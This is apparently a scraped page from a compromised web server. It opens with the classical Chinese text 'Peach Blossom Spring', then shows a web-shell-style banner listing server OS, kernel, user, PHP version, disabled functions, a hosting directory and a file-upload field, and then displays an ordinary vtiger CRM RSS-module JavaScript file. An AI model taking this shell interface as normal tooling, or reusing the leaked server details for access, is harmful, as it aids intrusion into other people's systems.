晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/layouts/v7/modules/Rss/resources/ |
Upload File : |
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
Vtiger_List_Js("Rss_List_Js",{},{
/**
* Function get the height of the document
* @return <integer> height
*/
getDocumentHeight : function() {
return jQuery(document).height();
},
registerRssAddButtonClickEvent : function() {
var thisInstance = this;
jQuery('.rssAddButton').on('click', function() {
thisInstance.showRssAddForm();
})
},
/**
* Function show rssAddForm model
*/
showRssAddForm : function() {
var thisInstance = this;
thisInstance.getRssAddFormUi().then(function(data) {
var resetPasswordUi = jQuery('.rssAddFormContainer').find('#rssAddFormUi');
if(resetPasswordUi.length > 0){
resetPasswordUi = resetPasswordUi.clone(true,true);
var callback = function(data) {
var form = data.find('#rssAddForm');
var params = {
submitHandler: function(form) {
var form = jQuery(form);
thisInstance.rssFeedSave(form);
}
};
form.vtValidate(params);
}
app.helper.showModal(resetPasswordUi, {cb: callback});
}
});
},
/**
* Function to get the rss add form
* @param <string> url
*/
getRssAddFormUi : function(url) {
var aDeferred = jQuery.Deferred();
var resetPasswordContainer = jQuery('.rssAddFormContainer');
var resetPasswordUi = resetPasswordContainer.find('#rssAddFormUi');
if(resetPasswordUi.length == 0) {
var actionParams = {
'module' : app.getModuleName(),
'view' : 'ViewTypes',
'mode' : 'getRssAddForm'
};
app.request.get({'data' : actionParams}).then(function(error, data){
resetPasswordContainer.html(data);
aDeferred.resolve(data);
},
function(textStatus, errorThrown){
aDeferred.reject(textStatus, errorThrown);
}
);
} else {
aDeferred.resolve();
}
return aDeferred.promise();
},
/**
* Function to save rss feed
* @parm form
*/
rssFeedSave : function(form) {
var thisInstance = this;
var data = form.serializeFormData();
app.helper.showProgress();
var params = {
'module': app.getModuleName(),
'action' : 'Save',
'feedurl' : data.feedurl
}
app.request.post({data : params}).then(function(error, result) {
app.helper.hideProgress();
if (result.success) {
app.helper.hideModal();
thisInstance.getRssFeeds(result.id).then(function () {
thisInstance.loadRssWidget(data, result).then(function () {
app.helper.showAlertNotification({message: app.vtranslate(result.message)});
});
});
} else {
app.helper.showErrorNotification({message:app.vtranslate(result.message)});
}
}
);
},
/**
* Function to register click on the rss sidebar link
*/
registerRssUrlClickEvent : function() {
var thisInstance = this;
jQuery('.quickWidgetContainer').on('click','.rssLink', function(e) {
var element = jQuery(e.currentTarget);
var id = element.data('id');
thisInstance.getRssFeeds(id);
});
},
/**
* Function to get the feeds for specific id
* @param <integer> id
*/
getRssFeeds : function(id) {
var thisInstance = this;
var aDeferred = jQuery.Deferred();
var container = thisInstance.getListViewContainer();
app.helper.showProgress();
var params = {
'module' : app.getModuleName(),
'view' : 'List',
'id' : id
}
app.request.pjax({'data': params}).then(function (error, data) {
container.find('#listViewContents').replaceWith(data);
// thisInstance.setFeedContainerHeight(container);
app.helper.hideProgress();
aDeferred.resolve(data);
});
return aDeferred.promise();
},
/**
* Function to get the height of the Feed Container
* @param container
*/
setFeedContainerHeight : function(container) {
var height = this.getDocumentHeight()/2;
container.find('.feedListContainer').height(height);
},
/**
* Function to register the click of feeds
* @param container
*/
registerFeedClickEvent : function(container) {
var thisInstance = this;
container.on('click' , '.feedLink', function(e) {
var element = jQuery(e.currentTarget);
var url = element.data('url');
var frameElement = thisInstance.getFrameElement(url)
container.find('.feedFrame').html(frameElement);
});
},
/**
* Function to get the iframe element
* @param <string> url
* @retrun <element> frameElement
*/
getFrameElement : function(url) {
app.helper.showProgress();
var frameElement = jQuery('<iframe>', {
id: 'feedFrame',
scrolling: 'auto',
width: '100%',
height: this.getDocumentHeight()/2
});
frameElement.addClass('table-bordered');
this.getHtml(url).then(function(html) {
app.helper.hideProgress();
var frame = frameElement[0].contentDocument;
frame.open();
frame.write(html);
frame.close();
});
return frameElement;
},
/**
* Function to get the html contents from url
* @param <string> url
* @return <string> html contents
*/
getHtml : function(url) {
var aDeferred = jQuery.Deferred();
var params = {
'module' : app.getModuleName(),
'action' : 'GetHtml',
'url' : url
}
app.request.get({'data' :params}).then(function(error, data) {
aDeferred.resolve(data.html);
});
return aDeferred.promise();
},
/**
* Function to register record delete event
*/
registerDeleteRecordClickEvent: function(){
var container = this.getListViewContainer();
var thisInstance = this;
jQuery('#page').on('click', '#deleteButton', function(e){
var elem = jQuery(e.currentTarget);
var originalDropDownMenu = elem.closest('.dropdown-menu').data('original-menu');
var parent = app.helper.getDropDownmenuParent(originalDropDownMenu);
thisInstance.deleteRecord(parent);
})
},
/**
* Function to delete the record
*/
deleteRecord : function(container) {
var thisInstance = this;
var recordId = container.find('#recordId').val();
var message = app.vtranslate('LBL_DELETE_CONFIRMATION');
app.helper.showConfirmationBox({'message' : message}).then(function(e) {
var module = app.getModuleName();
var postData = {
"module": module,
"action": "DeleteAjax",
"record": recordId
}
var deleteMessage = app.vtranslate('JS_RECORD_GETTING_DELETED');
app.helper.showProgress();
app.request.post({'data': postData}).then(function (error, data) {
app.helper.hideProgress();
if (!error) {
thisInstance.getRssFeeds().then(function () {
thisInstance.loadRssWidget(data);
});
} else {
app.helper.showErrorNotification({message: app.vtranslate('JS_LBL_PERMISSION')});
}
},
function (error, err) {
}
);
},
function(error, err){
}
);
},
/**
* Function to register make default button click event
*/
registerMakeDefaultClickEvent : function(container) {
var thisInstance = this;
container.on('click','#makeDefaultButton',function() {
thisInstance.makeDefault(container);
});
},
/**
* Function to make a record as default rss feed
*/
makeDefault : function(container) {
var listInstance = Vtiger_List_Js.getInstance();
var recordId = container.find('#recordId').val();
var module = app.getModuleName();
var postData = {
"module": module,
"action": "MakeDefaultAjax",
"record": recordId
}
app.helper.showProgress();
app.request.post({'data' : postData}).then(function(error, data){
app.helper.hideProgress();
if(!error) {
app.helper.showSuccessNotification({'message': 'set as default successfully' });
} else {
var params = {
text : app.vtranslate(data.error.message),
title : app.vtranslate('JS_LBL_PERMISSION')
}
Vtiger_Helper_Js.showPnotify(params);
}
}
);
},
loadRssWidget: function (data, result) {
var aDeferred = jQuery.Deferred();
var widgetContainer = jQuery('.widgetContainer');
var noRssFeeds = widgetContainer.find('li.noRssFeeds');
var lengthOfFeeds = widgetContainer.find('a').length;
if (data.deleted === undefined) {
var widgetHtml = '<li><a href="#" class="rssLink filter-name" data-id="' + result.id + '" data-url="' + data.feedurl + '" title="' + result.title + '">' + result.title + '</a></li>';
if (lengthOfFeeds) {
widgetContainer.append(widgetHtml);
} else if (!lengthOfFeeds) {
noRssFeeds.remove();
widgetContainer.append(widgetHtml);
}
} else if (data.deleted) {
widgetContainer.find('a[data-id="' + data.record + '"]').parent().remove();
var noRssFeedsHtml = '<li class="noRssFeeds" style="text-align:center">' + app.vtranslate('JS_NO_RECORDS') + '</li>';
if (lengthOfFeeds === 1) {
widgetContainer.append(noRssFeedsHtml);
}
}
return aDeferred.promise();
},
registerEvents : function() {
this._super();
var container = this.getListViewContainer();
this.registerRssAddButtonClickEvent();
this.registerRssUrlClickEvent();
this.registerFeedClickEvent(container);
this.registerMakeDefaultClickEvent(container);
this.setFeedContainerHeight(container);
}
});